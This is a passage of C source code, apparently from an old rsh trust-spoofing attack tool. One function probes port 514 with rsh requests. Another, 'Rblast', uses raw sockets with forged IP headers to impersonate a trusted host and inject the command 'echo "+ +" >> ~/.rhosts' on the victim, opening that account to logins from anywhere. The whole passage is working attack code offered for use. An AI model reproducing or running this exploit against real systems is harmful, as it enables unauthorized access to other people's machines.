  965.  
  966.     adresse_serveur.sin_family      = AF_INET;
  967.     adresse_serveur.sin_port        = htons(514);
  968.     adresse_serveur.sin_addr.s_addr = ip;
  969.  
  970.     res = connect(socket_client,(struct sockaddr *)&adresse_serveur, 
  971.               longueur); 
  972.  
  973.         if (res == ERROR) {
  974.            perror("connect");
  975.            close(socket_client);
  976.            exit(ERROR);
  977.         }
  978.  
  979.     if (send(socket_client, "0\0", 2, 0) == ERROR) {
  980.         perror("send");
  981.         close(socket_client);
  982.         exit(ERROR);
  983.     }    
  984.  
  985.     strcat(cmd, Luser);
  986.     if (send(socket_client, cmd, strlen(Luser) + 1, 0) == ERROR) {
  987.         perror("send");
  988.         close(socket_client);
  989.         exit(ERROR);
  990.     }    
  991.  
  992.     bzero(cmd, 400);
  993.     cmdptr = cmd;
  994.     strcat(cmdptr, Ruser);
  995.     cmdptr = cmdptr + strlen(Ruser) + 1;
  996.     strcat(cmdptr, exe);    
  997.     
  998.     res = send(socket_client, cmd, strlen(Ruser) + strlen(exe) + 2, 0);
  999.  
  1000.     if (res == ERROR) {
  1001.         perror("send");
  1002.         close(socket_client);
  1003.         exit(ERROR);
  1004.         }
  1005.         
  1006.     if ((read(socket_client, bla, 200)) == ERROR) {
  1007.         perror("read");
  1008.         close(socket_client);
  1009.         exit(ERROR);
  1010.     }
  1011.  
  1012.         printf("%s\n",bla);
  1013.     
  1014.         if (strstr(bla, "nied") || strstr(bla, "inc")) { 
  1015.          close(socket_client);
  1016.          err = -1;
  1017.     } else 
  1018.         err = 0;
  1019.  
  1020.     close(socket_client);    
  1021.     return (err);
  1022.   }
  1023.  
  1024.   close(socket_client);    
  1025.   return (err);
  1026.  
  1027. }
  1028.  
  1029.  
  1030.  
  1031. /****************************************************************************/
  1032. /*           Rblast - a function for try the RSH spoofing                   */
  1033. /* Rblast(ip trust, ip of victim, your ip, source port, local user,         */
  1034. /*        remote user)                                */
  1035. /****************************************************************************/ 
  1036.  
  1037. void Rblast(s_ip, d_ip, my_ip, port, Luser, Ruser)
  1038.     u_long s_ip;
  1039.     u_long d_ip;
  1040.     u_long my_ip; 
  1041.     int    port;
  1042.     char   *Luser; 
  1043.     char   *Ruser;
  1044. {        
  1045.  
  1046.   char  bla[] = "echo \"+ +\" >> ~/.rhosts";
  1047.   char  cmd[512];
  1048.   int   s, s_r;
  1049.  
  1050.   int   i = 1;
  1051.   char  *cmdptr;
  1052.  
  1053.        
  1054.   if ((s_r=socket(AF_INET,SOCK_RAW,6)) == ERROR) {
  1055.     perror("socket");
  1056.     exit(ERROR);
  1057.   }
  1058.  
  1059.   if ((s=socket(AF_INET, SOCK_RAW, 255)) == ERROR) {
  1060.     perror("socket");
  1061.     close(s_r);
  1062.     exit(ERROR);
  1063.   }
  1064.  
  1065.   #ifdef IP_HDRINCL
  1066.   if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, (char *)&i, sizeof(i)) 
  1067.         == ERROR) {
  1068.               fprintf(stderr, "cant set IP_HDRINCL\n");
  1069.               close(s);
  1070.               exit(0); 
  1071.   }
  1072.   #endif
  1073.  
  1074.                                          
  1075.  
  1076.  cmdptr = cmd;
  1077.  strcat(cmdptr, "0\0");
  1078.  cmdptr = cmdptr + 2;
  1079.  strcat(cmdptr, Luser);
  1080.  cmdptr = cmdptr + strlen(Luser) + 1;
  1081.  strcat(cmdptr, Ruser);
  1082.  cmdptr = cmdptr + strlen(Ruser) + 1;
  1083.  strcat(cmdptr, bla);
  1084.  cmdptr=cmdptr + strlen(bla) + 1;
  1085.  
  1086.  printf("make spoof connection ...\n");
  1087.  printf("%s@%s --> ", Luser, (char *)inet_ntoa(s_ip));
  1088.  printf("%s@%s\n",    Ruser, (char *)inet_ntoa(d_ip));        
  1089.  
  1090.  Sconnect(s, s_ip, d_ip, port, 514, my_ip);
  1091.  
  1092.  printf("send the spoof rsh... \n");
  1093.  Swrite(s, cmd, strlen(Luser) + strlen(Ruser) + strlen(bla) + 2 + 3);
  1094.  Srst(s); 
  1095.  
  1096.  close(s);
  1097.  
  1098. }
  1099.                                                                        
  1100.